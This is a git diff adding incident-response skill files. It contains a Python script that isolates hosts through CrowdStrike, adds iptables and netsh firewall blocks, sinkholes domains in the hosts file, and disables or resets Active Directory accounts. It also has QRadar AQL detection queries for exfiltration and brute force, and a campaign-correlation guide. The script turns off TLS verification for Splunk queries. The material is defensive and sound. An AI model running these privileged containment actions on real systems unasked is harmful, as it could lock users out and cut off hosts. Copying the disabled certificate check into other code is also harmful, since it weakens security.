b/skills/containing-active-security-breach/scripts/process.py @@ -0,0 +1,517 @@ +#!/usr/bin/env python3 +""" +Active Security Breach Containment Automation Script + +Automates containment actions during an active security breach: +- Queries SIEM for scope assessment +- Isolates endpoints via EDR API +- Blocks IPs/domains at firewall +- Disables compromised AD accounts +- Generates containment action log + +Requirements: + pip install requests ldap3 python-dateutil pyyaml +""" + +import argparse +import csv +import hashlib +import json +import logging +import os +import socket +import subprocess +import sys +from datetime import datetime, timezone +from pathlib import Path +from typing import Optional + +try: + import requests +except ImportError: + print("Install requests: pip install requests") + sys.exit(1) + +try: + from ldap3 import Server, Connection, MODIFY_REPLACE, ALL +except ImportError: + ldap3_available = False +else: + ldap3_available = True + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", + handlers=[ + logging.StreamHandler(), + logging.FileHandler(f"containment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"), + ], +) +logger = logging.getLogger("breach_containment") + + +class ContainmentActionLog: + """Tracks all containment actions with timestamps for audit trail.""" + + def __init__(self, incident_id: str): + self.incident_id = incident_id + self.actions = [] + self.start_time = datetime.now(timezone.utc) + + def log_action(self, action_type: str, target: str, result: str, details: str = ""): + entry = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "incident_id": self.incident_id, + "action_type": action_type, + "target": target, + "result": result, + "details": details, + "operator": os.getenv("USERNAME", os.getenv("USER", "unknown")), + } + self.actions.append(entry) + logger.info(f"[{action_type}] {target}: {result} - {details}") + + def export_csv(self, filepath: str): + if not self.actions: + logger.warning("No actions to export") + return + with open(filepath, "w", newline="") as f: + writer = csv.DictWriter(f, fieldnames=self.actions[0].keys()) + writer.writeheader() + writer.writerows(self.actions) + logger.info(f"Containment log exported to {filepath}") + + def export_json(self, filepath: str): + report = { + "incident_id": self.incident_id, + "containment_start": self.start_time.isoformat(), + "containment_end": datetime.now(timezone.utc).isoformat(), + "total_actions": len(self.actions), + "actions": self.actions, + } + with open(filepath, "w") as f: + json.dump(report, f, indent=2) + logger.info(f"Containment report exported to {filepath}") + + +class CrowdStrikeContainment: + """CrowdStrike Falcon endpoint containment via API.""" + + def __init__(self, client_id: str, client_secret: str, base_url: str = "https://api.crowdstrike.com"): + self.base_url = base_url + self.client_id = client_id + self.client_secret = client_secret + self.token = None + + def authenticate(self): + resp = requests.post( + f"{self.base_url}/oauth2/token", + data={"client_id": self.client_id, "client_secret": self.client_secret}, + headers={"Content-Type": "application/x-www-form-urlencoded"}, + ) + resp.raise_for_status() + self.token = resp.json()["access_token"] + logger.info("Authenticated to CrowdStrike Falcon API") + + def _headers(self): + return {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"} + + def get_device_id_by_hostname(self, hostname: str) -> Optional[str]: + resp = requests.get( + f"{self.base_url}/devices/queries/devices/v1", + headers=self._headers(), + params={"filter": f"hostname:'{hostname}'"}, + ) + resp.raise_for_status() + resources = resp.json().get("resources", []) + return resources[0] if resources else None + + def contain_host(self, device_id: str) -> dict: + resp = requests.post( + f"{self.base_url}/devices/entities/devices-actions/v2", + headers=self._headers(), + params={"action_name": "contain"}, + json={"ids": [device_id]}, + ) + resp.raise_for_status() + return resp.json() + + def lift_containment(self, device_id: str) -> dict: + resp = requests.post( + f"{self.base_url}/devices/entities/devices-actions/v2", + headers=self._headers(), + params={"action_name": "lift_containment"}, + json={"ids": [device_id]}, + ) + resp.raise_for_status() + return resp.json() + + def get_detections(self, severity: str = "Critical") -> list: + resp = requests.get( + f"{self.base_url}/detects/queries/detects/v1", + headers=self._headers(), + params={"filter": f"max_severity_displayname:'{severity}'+status:'new'", "limit": 100}, + ) + resp.raise_for_status() + return resp.json().get("resources", []) + + +class SentinelOneContainment: + """SentinelOne endpoint containment via API.""" + + def __init__(self, api_token: str, base_url: str): + self.base_url = base_url + self.api_token = api_token + + def _headers(self): + return {"Authorization": f"ApiToken {self.api_token}", "Content-Type": "application/json"} + + def disconnect_agent(self, agent_id: str) -> dict: + resp = requests.post( + f"{self.base_url}/web/api/v2.1/agents/actions/disconnect", + headers=self._headers(), + json={"filter": {"ids": [agent_id]}, "data": {}}, + ) + resp.raise_for_status() + return resp.json() + + def reconnect_agent(self, agent_id: str) -> dict: + resp = requests.post( + f"{self.base_url}/web/api/v2.1/agents/actions/connect", + headers=self._headers(), + json={"filter": {"ids": [agent_id]}, "data": {}}, + ) + resp.raise_for_status() + return resp.json() + + +class ActiveDirectoryContainment: + """Active Directory account containment via LDAP.""" + + def __init__(self, server_addr: str, domain: str, username: str, password: str): + if not ldap3_available: + raise ImportError("ldap3 package required: pip install ldap3") + self.server = Server(server_addr, get_info=ALL) + self.domain = domain + self.conn = Connection(self.server, user=f"{domain}\\{username}", password=password, auto_bind=True) + + def disable_account(self, sam_account_name: str) -> bool: + search_base = ",".join([f"DC={part}" for part in self.domain.split(".")]) + self.conn.search( + search_base, + f"(sAMAccountName={sam_account_name})", + attributes=["userAccountControl", "distinguishedName"], + ) + if not self.conn.entries: + logger.warning(f"Account {sam_account_name} not found in AD") + return False + + dn = self.conn.entries[0].distinguishedName.value + current_uac = int(self.conn.entries[0].userAccountControl.value) + # Set ACCOUNTDISABLE flag (bit 1, value 2) + new_uac = current_uac | 0x0002 + self.conn.modify(dn, {"userAccountControl": [(MODIFY_REPLACE, [str(new_uac)])]}) + logger.info(f"Disabled AD account: {sam_account_name}") + return True + + def reset_password(self, sam_account_name: str, new_password: str) -> bool: + search_base = ",".join([f"DC={part}" for part in self.domain.split(".")]) + self.conn.search(search_base, f"(sAMAccountName={sam_account_name})", attributes=["distinguishedName"]) + if not self.conn.entries: + return False + dn = self.conn.entries[0].distinguishedName.value + encoded_pw = f'"{new_password}"'.encode("utf-16-le") + self.conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, [encoded_pw])]}) + logger.info(f"Reset password for AD account: {sam_account_name}") + return True + + +class FirewallContainment: + """Block IPs and domains at network perimeter.""" + + @staticmethod + def block_ips_iptables(ip_list: list, chain: str = "INPUT") -> list: + results = [] + for ip in ip_list: + try: + cmd = ["iptables", "-A", chain, "-s", ip, "-j", "DROP"] + subprocess.run(cmd, capture_output=True, text=True, check=True) + cmd_out = ["iptables", "-A", "OUTPUT", "-d", ip, "-j", "DROP"] + subprocess.run(cmd_out, capture_output=True, text=True, check=True) + results.append({"ip": ip, "status": "blocked", "method": "iptables"}) + logger.info(f"Blocked IP via iptables: {ip}") + except subprocess.CalledProcessError as e: + results.append({"ip": ip, "status": "failed", "error": str(e)}) + logger.error(f"Failed to block IP {ip}: {e}") + return results + + @staticmethod + def block_ips_windows_firewall(ip_list: list) -> list: + results = [] + for ip in ip_list: + try: + rule_name = f"IR_Block_{ip.replace('.', '_')}" + cmd = [ + "netsh", "advfirewall", "firewall", "add", "rule", + f"name={rule_name}", "dir=in", "action=block", + f"remoteip={ip}", "protocol=any", + ] + subprocess.run(cmd, capture_output=True, text=True, check=True) + cmd_out = [ + "netsh", "advfirewall", "firewall", "add", "rule", + f"name={rule_name}_out", "dir=out", "action=block", + f"remoteip={ip}", "protocol=any", + ] + subprocess.run(cmd_out, capture_output=True, text=True, check=True) + results.append({"ip": ip, "status": "blocked", "method": "windows_firewall"}) + logger.info(f"Blocked IP via Windows Firewall: {ip}") + except subprocess.CalledProcessError as e: + results.append({"ip": ip, "status": "failed", "error": str(e)}) + logger.error(f"Failed to block IP {ip}: {e}") + return results + + @staticmethod + def block_domains_hosts_file(domain_list: list) -> list: + results = [] + hosts_path = r"C:\Windows\System32\drivers\etc\hosts" if os.name == "nt" else "/etc/hosts" + try: + with open(hosts_path, "a") as f: + for domain in domain_list: + f.write(f"\n0.0.0.0 {domain} # IR Containment Block") + results.append({"domain": domain, "status": "sinkholed", "method": "hosts_file"}) + logger.info(f"Sinkholed domain: {domain}") + except PermissionError: + logger.error("Insufficient permissions to modify hosts file. Run as administrator.") + for domain in domain_list: + results.append({"domain": domain, "status": "failed", "error": "permission_denied"}) + return results + + +class SplunkScopeAssessment: + """Query Splunk SIEM for incident scope assessment.""" + + def __init__(self, base_url: str, token: str): + self.base_url = base_url + self.token = token + + def _headers(self): + return {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"} + + def search(self, query: str, earliest: str = "-24h", latest: str = "now") -> dict: + resp = requests.post( + f"{self.base_url}/services/search/jobs", + headers=self._headers(), + data={ + "search": f"search {query}", + "earliest_time": earliest, + "latest_time": latest, + "output_mode": "json", + }, + verify=False, + ) + resp.raise_for_status() + return resp.json() + + def find_related_hosts(self, attacker_ip: str) -> dict: + query = f"""index=security (src_ip="{attacker_ip}" OR dest_ip="{attacker_ip}") +| stats count values(dest_ip) as targets values(src_ip) as sources by sourcetype +| sort -count""" + return self.search(query) + + def find_compromised_accounts(self, host_list: list) -> dict: + hosts_filter = " OR ".join([f'src="{h}"' for h in host_list]) + query = f"""index=security EventCode=4624 ({hosts_filter}) +| stats count values(src) as source_hosts by Account_Name, Logon_Type +| where Logon_Type IN ("3","10") +| sort -count""" + return self.search(query) + + +def collect_volatile_evidence(output_dir: str) -> dict: + """Collect volatile evidence from current system before containment.""" + os.makedirs(output_dir, exist_ok=True) + evidence = {} + + # Network connections + try: + if os.name == "nt": + result = subprocess.run(["netstat", "-anob"], capture_output=True, text=True) + else: + result = subprocess.run(["ss", "-tulnp"], capture_output=True, text=True) + netconn_file = os.path.join(output_dir, "network_connections.txt") + with open(netconn_file, "w") as f: + f.write(result.stdout) + evidence["network_connections"] = { + "file": netconn_file, + "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), + } + except Exception as e: + logger.error(f"Failed to collect network connections: {e}") + + # Running processes + try: + if os.name == "nt": + result = subprocess.run(["tasklist", "/V", "/FO", "CSV"], capture_output=True, text=True) + else: + result = subprocess.run(["ps", "auxwwf"], capture_output=True, text=True) + proc_file = os.path.join(output_dir, "running_processes.txt") + with open(proc_file, "w") as f: + f.write(result.stdout) + evidence["running_processes"] = { + "file": proc_file, + "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), + } + except Exception as e: + logger.error(f"Failed to collect process list: {e}") + + # DNS cache + try: + if os.name == "nt": + result = subprocess.run(["ipconfig", "/displaydns"], capture_output=True, text=True) + else: + dns_cache_file = "/var/cache/nscd/hosts" if os.path.exists("/var/cache/nscd/hosts") else "" + result = subprocess.run(["cat", dns_cache_file], capture_output=True, text=True) if dns_cache_file else None + if result and result.stdout: + dns_file = os.path.join(output_dir, "dns_cache.txt") + with open(dns_file, "w") as f: + f.write(result.stdout) + evidence["dns_cache"] = { + "file": dns_file, + "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), + } + except Exception as e: + logger.error(f"Failed to collect DNS cache: {e}") + + # ARP table + try: + result = subprocess.run(["arp", "-a"], capture_output=True, text=True) + arp_file = os.path.join(output_dir, "arp_table.txt") + with open(arp_file, "w") as f: + f.write(result.stdout) + evidence["arp_table"] = { + "file": arp_file, + "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), + } + except Exception as e: + logger.error(f"Failed to collect ARP table: {e}") + + # Logged-in users + try: + if os.name == "nt": + result = subprocess.run(["query", "user"], capture_output=True, text=True) + else: + result = subprocess.run(["who"], capture_output=True, text=True) + users_file = os.path.join(output_dir, "logged_in_users.txt") + with open(users_file, "w") as f: + f.write(result.stdout) + evidence["logged_in_users"] = { + "file": users_file, + "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), + } + except Exception as e: + logger.error(f"Failed to collect logged-in users: {e}") + + return evidence + + +def run_containment(args): + """Execute the full containment workflow.""" + action_log = ContainmentActionLog(args.incident_id) + logger.info(f"Starting containment for incident: {args.incident_id}") + + # Step 1: Collect volatile evidence if requested + if args.collect_evidence: + evidence_dir = os.path.join(args.output_dir, "evidence", args.incident_id) + logger.info(f"Collecting volatile evidence to {evidence_dir}") + evidence = collect_volatile_evidence(evidence_dir) + for etype, edata in evidence.items(): + action_log.log_action("evidence_collection", etype, "collected", f"SHA256: {edata['sha256']}") + + # Step 2: Block IPs at firewall + if args.block_ips: + ip_list = [ip.strip() for ip in args.block_ips.split(",")] + logger.info(f"Blocking {len(ip_list)} IPs at firewall") + if os.name == "nt": + results = FirewallContainment.block_ips_windows_firewall(ip_list) + else: + results = FirewallContainment.block_ips_iptables(ip_list) + for r in results: + action_log.log_action("ip_block", r["ip"], r["status"], r.get("method", r.get("error", ""))) + + # Step 3: Block domains + if args.block_domains: + domain_list = [d.strip() for d in args.block_domains.split(",")] + logger.info(f"Sinkholing {len(domain_list)} domains") + results = FirewallContainment.block_domains_hosts_file(domain_list) + for r in results: + action_log.log_action("domain_block", r["domain"], r["status"], r.get("method", "")) + + # Step 4: Isolate endpoints via CrowdStrike + if args.crowdstrike_isolate and args.cs_client_id and args.cs_client_secret: + cs = CrowdStrikeContainment(args.cs_client_id, args.cs_client_secret) + try: + cs.authenticate() + action_log.log_action("edr_auth", "crowdstrike", "success", "API authenticated") + hostnames = [h.strip() for h in args.crowdstrike_isolate.split(",")] + for hostname in hostnames: + device_id = cs.get_device_id_by_hostname(hostname) + if device_id: + cs.contain_host(device_id) + action_log.log_action("endpoint_isolation", hostname, "contained", f"Device ID: {device_id}") + else: + action_log.log_action("endpoint_isolation", hostname, "failed", "Device not found in Falcon") + except Exception as e: + action_log.log_action("edr_auth", "crowdstrike", "failed", str(e)) + logger.error(f"CrowdStrike containment failed: {e}") + + # Step 5: Disable AD accounts + if args.disable_accounts and args.ad_server and ldap3_available: + try: + ad = ActiveDirectoryContainment( + args.ad_server, args.ad_domain, args.ad_username, args.ad_password + ) + accounts = [a.strip() for a in args.disable_accounts.split(",")] + for account in accounts: + result = ad.disable_account(account) + action_log.log_action( + "account_disable", account, "disabled" if result else "failed", + "AD account disabled" if result else "Account not found", + ) + except Exception as e: + action_log.log_action("account_disable", "AD", "failed", str(e)) + logger.error(f"AD containment failed: {e}") + + # Export containment action log + os.makedirs(args.output_dir, exist_ok=True) + csv_path = os.path.join(args.output_dir, f"containment_log_{args.incident_id}.csv") + json_path = os.path.join(args.output_dir, f"containment_report_{args.incident_id}.json") + action_log.export_csv(csv_path) + action_log.export_json(json_path) + + logger.info(f"Containment workflow completed for {args.incident_id}") + logger.info(f"Total actions taken: {len(action_log.actions)}") + return action_log + + +def main(): + parser = argparse.ArgumentParser(description="Active Security Breach Containment Automation") + parser.add_argument("--incident-id", required=True, help="Incident tracking ID (e.g., IR-2024-001)") + parser.add_argument("--output-dir", default="./containment_output", help="Output directory for logs and reports") + parser.add_argument("--collect-evidence", action="store_true", help="Collect volatile evidence before containment") + parser.add_argument("--block-ips", help="Comma-separated list of IPs to block at firewall") + parser.add_argument("--block-domains", help="Comma-separated list of domains to sinkhole") + parser.add_argument("--crowdstrike-isolate", help="Comma-separated hostnames to isolate via CrowdStrike") + parser.add_argument("--cs-client-id", default=os.getenv("CS_CLIENT_ID"), help="CrowdStrike API client ID") + parser.add_argument("--cs-client-secret", default=os.getenv("CS_CLIENT_SECRET"), help="CrowdStrike API client secret") + parser.add_argument("--disable-accounts", help="Comma-separated AD accounts to disable") + parser.add_argument("--ad-server", default=os.getenv("AD_SERVER"), help="Active Directory server address") + parser.add_argument("--ad-domain", default=os.getenv("AD_DOMAIN"), help="Active Directory domain") + parser.add_argument("--ad-username", default=os.getenv("AD_USERNAME"), help="AD admin username") + parser.add_argument("--ad-password", default=os.getenv("AD_PASSWORD"), help="AD admin password") + + args = parser.parse_args() + run_containment(args) + + +if __name__ == "__main__": + main() diff --git a/skills/correlating-security-events-in-qradar/SKILL.md b/skills/correlating-security-events-in-qradar/SKILL.md new file mode 100644 index 00000000..7d65608a --- /dev/null +++ b/skills/correlating-security-events-in-qradar/SKILL.md @@ -0,0 +1,275 @@ +--- +name: correlating-security-events-in-qradar +description: > + Correlates security events in IBM QRadar SIEM using AQL (Ariel Query Language), custom rules, + building blocks, and offense management to detect multi-stage attacks across network, endpoint, + and application log sources. Use when SOC analysts need to investigate QRadar offenses, build + correlation rules, or tune detection logic for reducing false positives. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, qradar, siem, aql, correlation, offense-management, ibm] +version: "1.0" +author: mahipal +license: MIT +--- +# Correlating Security Events in QRadar + +## When to Use + +Use this skill when: +- SOC analysts need to investigate QRadar offenses and correlate events across multiple log sources +- Detection engineers build custom correlation rules to identify multi-stage attacks +- Alert tuning is required to reduce false positive offenses and improve signal quality +- The team migrates from basic event monitoring to behavior-based correlation + +**Do not use** for log source onboarding or parsing — that requires QRadar administrator access and DSM editor knowledge. + +## Prerequisites + +- IBM QRadar SIEM 7.5+ with offense management enabled +- AQL knowledge for ad-hoc event and flow queries +- Log sources normalized with proper QID mappings (Windows, firewall, proxy, endpoint) +- User role with offense management, rule creation, and AQL search permissions +- Reference sets/maps configured for whitelist and watchlist management + +## Workflow + +### Step 1: Investigate an Offense with AQL + +Open an offense in QRadar and query contributing events using AQL (Ariel Query Language): + +```sql +SELECT DATEFORMAT(startTime, 'yyyy-MM-dd HH:mm:ss') AS event_time, + sourceIP, destinationIP, username, + LOGSOURCENAME(logSourceId) AS log_source, + QIDNAME(qid) AS event_name, + category, magnitude +FROM events +WHERE INOFFENSE(12345) +ORDER BY startTime ASC +LIMIT 500 +``` + +Pivot on the source IP to find all activity: + +```sql +SELECT DATEFORMAT(startTime, 'yyyy-MM-dd HH:mm:ss') AS event_time, + destinationIP, destinationPort, username, + QIDNAME(qid) AS event_name, + eventCount, category +FROM events +WHERE sourceIP = '192.168.1.105' + AND startTime > NOW() - 24*60*60*1000 +ORDER BY startTime ASC +LIMIT 1000 +``` + +### Step 2: Build a Custom Correlation Rule + +Create a multi-condition rule detecting brute force followed by successful login: + +**Rule 1 — Brute Force Detection (Building Block):** +``` +Rule Type: Event +Rule Name: BB: Multiple Failed Logins from Same Source +Tests: + - When the event(s) were detected by one or more of [Local] + - AND when the event QID is one of [Authentication Failure (5000001)] + - AND when at least 10 events are seen with the same Source IP + in 5 minutes +Rule Action: Dispatch new event (Category: Authentication, QID: Custom_BruteForce) +``` + +**Rule 2 — Brute Force Succeeded (Correlation Rule):** +``` +Rule Type: Offense +Rule Name: COR: Brute Force with Subsequent Successful Login +Tests: + - When an event matches the building block BB: Multiple Failed Logins from Same Source + - AND when an event with QID [Authentication Success (5000000)] is detected + from the same Source IP within 10 minutes + - AND the Destination IP is the same for both events +Rule Action: Create offense, set severity to High, set relevance to 8 +``` + +### Step 3: Use AQL for Cross-Source Correlation + +Correlate authentication failures with network flows to detect lateral movement: + +```sql +SELECT e.sourceIP, e.destinationIP, e.username, + QIDNAME(e.qid) AS event_name, + e.eventCount, + f.sourceBytes, f.destinationBytes +FROM events e +LEFT JOIN flows f ON e.sourceIP = f.sourceIP + AND e.destinationIP = f.destinationIP + AND f.startTime BETWEEN e.startTime AND e.startTime + 300000 +WHERE e.category = 'Authentication' + AND e.sourceIP IN ( + SELECT sourceIP FROM events + WHERE QIDNAME(qid) = 'Authentication Failure' + AND startTime > NOW() - 3600000 + GROUP BY sourceIP + HAVING COUNT(*) > 20 + ) + AND e.startTime > NOW() - 3600000 +ORDER BY e.startTime ASC +``` + +Detect data exfiltration by correlating DNS queries with large outbound flows: + +```sql +SELECT sourceIP, destinationIP, + SUM(sourceBytes) AS total_bytes_out, + COUNT(*) AS flow_count +FROM flows +WHERE sourceIP IN ( + SELECT sourceIP FROM events + WHERE QIDNAME(qid) ILIKE '%DNS%' + AND destinationIP NOT IN ( + SELECT ip FROM reference_data.sets('Internal_DNS_Servers') + ) + AND startTime > NOW() - 86400000 + GROUP BY sourceIP + HAVING COUNT(*) > 500 + ) + AND destinationPort NOT IN (80, 443, 53) + AND startTime > NOW() - 86400000 +GROUP BY sourceIP, destinationIP +HAVING SUM(sourceBytes) > 104857600 +ORDER BY total_bytes_out DESC +``` + +### Step 4: Configure Reference Sets for Context Enrichment + +Create reference sets for dynamic whitelists and watchlists: + +```bash +# Create reference set via QRadar API +curl -X POST "https://qradar.example.com/api/reference_data/sets" \ + -H "SEC: YOUR_API_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "name": "Known_Pen_Test_IPs", + "element_type": "IP", + "timeout_type": "LAST_SEEN", + "time_to_live": "30 days" + }' + +# Add entries +curl -X POST "https://qradar.example.com/api/reference_data/sets/Known_Pen_Test_IPs" \ + -H "SEC: YOUR_API_TOKEN" \ + -d "value=10.0.5.100" +``` + +Use reference sets in rule conditions to exclude known benign activity: + +``` +Test: AND when the Source IP is NOT contained in any of [Known_Pen_Test_IPs] +Test: AND when the Destination IP is contained in any of [Critical_Asset_IPs] +``` + +### Step 5: Tune Offense Generation + +Reduce false positives by adding building block filters: + +```sql +-- Find top false positive generators +SELECT QIDNAME(qid) AS event_name, + LOGSOURCENAME(logSourceId) AS log_source, + COUNT(*) AS event_count, + COUNT(DISTINCT sourceIP) AS unique_sources +FROM events +WHERE INOFFENSE( + SELECT offenseId FROM offenses + WHERE status = 'CLOSED' + AND closeReason = 'False Positive' + AND startTime > NOW() - 30*24*60*60*1000 + ) +GROUP BY qid, logSourceId +ORDER BY event_count DESC +LIMIT 20 +``` + +Apply tuning: +- Add high-frequency false positive sources to reference set exclusions +- Increase event thresholds on noisy rules (e.g., 10 failed logins -> 25 for service accounts) +- Set offense coalescing to group related events under a single offense + +### Step 6: Build Custom Dashboard for Correlation Monitoring + +Create a QRadar Pulse dashboard with key correlation metrics: + +```sql +-- Active offenses by category +SELECT offenseType, status, COUNT(*) AS offense_count, + AVG(magnitude) AS avg_magnitude +FROM offenses +WHERE status = 'OPEN' +GROUP BY offenseType, status +ORDER BY offense_count DESC + +-- Mean time to close offenses +SELECT DATEFORMAT(startTime, 'yyyy-MM-dd') AS day, + AVG(closeTime - startTime) / 60000 AS avg_close_minutes, + COUNT(*) AS closed_count +FROM offenses +WHERE status = 'CLOSED' + AND startTime > NOW() - 30*24*60*60*1000 +GROUP BY DATEFORMAT(startTime, 'yyyy-MM-dd') +ORDER BY day +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **AQL** | Ariel Query Language — QRadar's SQL-like query language for searching events, flows, and offenses | +| **Offense** | QRadar's correlated incident grouping multiple events/flows under a single investigation unit | +| **Building Block** | Reusable rule component that categorizes events without generating offenses, used as input to correlation rules | +| **Magnitude** | QRadar's calculated offense severity combining relevance, severity, and credibility scores (1-10) | +| **Reference Set** | Dynamic lookup table in QRadar for whitelists, watchlists, and enrichment data used in rules | +| **QID** | QRadar Identifier — unique numeric ID mapping vendor-specific events to normalized categories | +| **Coalescing** | QRadar's mechanism for grouping related events into a single offense to reduce analyst workload | + +## Tools & Systems + +- **IBM QRadar SIEM**: Enterprise SIEM platform with event correlation, offense management, and AQL query engine +- **QRadar Pulse**: Dashboard framework for building custom visualizations of offense and event metrics +- **QRadar API**: RESTful API for automating reference set management, offense operations, and rule deployment +- **QRadar Use Case Manager**: App for mapping detection rules to MITRE ATT&CK framework coverage +- **QRadar Assistant**: AI-powered analysis tool helping analysts investigate offenses with natural language + +## Common Scenarios + +- **Brute Force to Compromise**: Correlate failed auth events with subsequent successful login from same source +- **Lateral Movement Chain**: Track authentication events across multiple internal hosts from a single source +- **C2 Beaconing**: Correlate periodic DNS queries with low-entropy payloads to unusual domains +- **Privilege Escalation**: Correlate user account changes (group additions) with prior suspicious authentication +- **Data Exfiltration**: Correlate large outbound flow volumes with prior internal reconnaissance activity + +## Output Format + +``` +QRADAR OFFENSE INVESTIGATION — Offense #12345 +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Offense Type: Brute Force with Subsequent Access +Magnitude: 8/10 (Severity: 8, Relevance: 9, Credibility: 7) +Created: 2024-03-15 14:23:07 UTC +Contributing: 247 events from 3 log sources + +Correlation Chain: + 14:10-14:22 — 234 Authentication Failures (EventCode 4625) from 192.168.1.105 to DC-01 + 14:23:07 — Authentication Success (EventCode 4624) from 192.168.1.105 to DC-01 (user: admin) + 14:25:33 — New Process: cmd.exe spawned by admin on DC-01 + 14:26:01 — Net.exe user /add detected on DC-01 + +Sources Correlated: + Windows Security Logs (DC-01) + Sysmon (DC-01) + Firewall (Palo Alto PA-5260) + +Disposition: TRUE POSITIVE — Escalated to Incident Response +Ticket: IR-2024-0432 +``` diff --git a/skills/correlating-threat-campaigns/SKILL.md b/skills/correlating-threat-campaigns/SKILL.md new file mode 100644 index 00000000..c7872fa9 --- /dev/null +++ b/skills/correlating-threat-campaigns/SKILL.md @@ -0,0 +1,147 @@ +--- +name: correlating-threat-campaigns +description: > + Correlates disparate security incidents, IOCs, and adversary behaviors across time and + organizations to identify unified threat campaigns, attribute them to common threat actors, + and extract shared indicators for improved detection. Use when multiple incidents exhibit + overlapping indicators, when sector-wide attack campaigns require cross-organizational analysis, + or when building campaign-level intelligence products. Activates for requests involving campaign + analysis, incident clustering, cross-organizational IOC correlation, or MISP correlation engine. +domain: cybersecurity +subdomain: threat-intelligence +tags: [campaign-analysis, correlation, MISP, ATT&CK, threat-actor, intrusion-set, clustering, CTI] +version: 1.0.0 +author: team-cybersecurity +license: MIT +--- +# Correlating Threat Campaigns + +## When to Use + +Use this skill when: +- Multiple unrelated-appearing incidents share IOCs (same C2 IP, same malware hash, similar TTPs) +- An ISAC partner shares indicators from an incident that match your own historical events +- Building a campaign report linking adversary activity over weeks or months to a single operation + +**Do not use** this skill to force correlation based on weak signals — false campaign attribution misleads defenders and wastes resources on incorrect threat models. + +## Prerequisites + +- TIP or SIEM with historical indicator and event data (90+ days recommended) +- MISP correlation engine enabled with event sharing configured +- Graph analysis tool (Maltego, Neo4j, or OpenCTI) for relationship visualization +- Reference to MITRE ATT&CK intrusion set and campaign objects for structuring output + +## Workflow + +### Step 1: Collect and Normalize Events + +Gather all candidate events for correlation from: +- Internal SIEM (raw events, alert history) +- TIP (historical indicators and events) +- ISAC sharing (partner-submitted events in MISP or TAXII) +- Commercial intelligence (Recorded Future, Mandiant, CrowdStrike reports) + +Normalize all events to STIX 2.1 schema with consistent timestamp (UTC), indicator types, and confidence scores. Ensure all indicators have source attribution and collection date. + +### Step 2: Identify Correlation Pivot Points + +Apply systematic pivot analysis across four dimensions: + +**Infrastructure pivots**: +- Same IP address or /24 subnet across events +- Same domain registrant email or WHOIS organization +- Same ASN or hosting provider with same account fingerprint +- Same SSL certificate fingerprint or serial number across C2 domains + +**Capability pivots**: +- Same malware hash or YARA signature match +- Same C2 communication protocol (Cobalt Strike beacon config, Sliver implant parameters) +- Same exploit code or weaponized document template +- Same obfuscation method or packer fingerprint + +**Temporal pivots**: +- Events occurring within same time window (operational hours suggesting same timezone) +- Sequential events with logical kill chain progression +- Malware compilation timestamps clustering in same date range + +**Victimology pivots**: +- Same target sector (healthcare, energy, financial) +- Same target geography +- Same targeted technology (specific ERP vendor, VPN appliance brand) + +### Step 3: Calculate Correlation Confidence + +Apply weighted scoring for campaign attribution: +```python +def calculate_campaign_confidence(events: list) -> float: + scores = [] + + # Infrastructure overlap (highest weight — most discriminating) + infra_overlap = count_shared_infra(events) / len(events) + scores.append(infra_overlap * 40) + + # Capability overlap (high weight — TTPs are durable) + capability_overlap = count_shared_ttps(events) / len(events) + scores.append(capability_overlap * 35) + + # Temporal proximity (moderate weight) + temporal_score = assess_temporal_clustering(events) + scores.append(temporal_score * 15) + + # Victimology alignment (lower weight — many actors target same sector) + victim_score = assess_victim_pattern(events) + scores.append(victim_score * 10) + + total = sum(scores) + if total >= 70: return "HIGH" + elif total >= 45: return "MEDIUM" + else: return "LOW" +``` + +### Step 4: Build Campaign Graph + +In OpenCTI or Maltego, construct campaign graph: +- Campaign object (STIX) as central node +- Intrusion Set → uses → Malware objects +- Intrusion Set → uses → Infrastructure objects +- Intrusion Set → targets → Identity objects (victim organizations/sectors) +- Campaign → attributed-to → Threat Actor (if attribution achieved) +- Indicators → indicates → Malware (linking technical observables to capabilities) + +Label each relationship with evidence reference and confidence. + +### Step 5: Produce Campaign Intelligence Report + +Structure the campaign report: +1. **Campaign name**: Assign descriptive codename based on targeting theme or tooling +2. **Timeline**: First/last observed dates with activity phases +3. **Attribution**: Suspected threat actor with confidence level +4. **Target profile**: Industry verticals, geographies, organization sizes +5. **TTPs summary**: ATT&CK Navigator heatmap for campaign-specific techniques +6. **Shared indicators**: IOCs that span multiple incidents (highest confidence for blocking) +7. **Detection guidance**: Sigma/YARA rules specific to this campaign + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Campaign** | STIX object representing a grouping of adversarial behaviors with common objectives over a defined time period | +| **Intrusion Set** | STIX object grouping related intrusion activity by common objectives, even when actor identity is uncertain | +| **Pivot** | Using a single data point (IOC, infrastructure, TTP) to discover related events or adversary artifacts | +| **Clustering** | Machine learning or manual grouping of incidents based on feature similarity to identify campaign boundaries | +| **False Correlation** | Incorrect linking of unrelated incidents due to shared infrastructure (CDNs, shared hosting) or common tools | + +## Tools & Systems + +- **MISP Correlation Engine**: Automatic correlation of events sharing attribute values across the MISP instance and federated instances +- **OpenCTI Graph**: Interactive relationship graph for visualizing campaign linkages with STIX object types +- **Maltego**: Link analysis for infrastructure and capability pivoting across multiple data sources +- **Neo4j**: Graph database with Cypher queries for large-scale campaign correlation (millions of events) + +## Common Pitfalls + +- **CDN/Shared hosting false positives**: Cloudflare, AWS CloudFront, and bulletproof hosters serve multiple threat actors. Shared IP alone does not establish campaign linkage. +- **Common malware conflation**: Multiple threat actors use Cobalt Strike. Shared capability does not indicate same actor without additional corroboration. +- **Premature attribution**: Forcing campaign-to-actor attribution before evidence threshold is reached produces incorrect intelligence that persists in reports. +- **Missing temporal analysis**: Events from different years may share infrastructure that was recycled by a different actor, not the same campaign. diff --git a/skills/deobfuscating-javascript-malware/SKILL.md 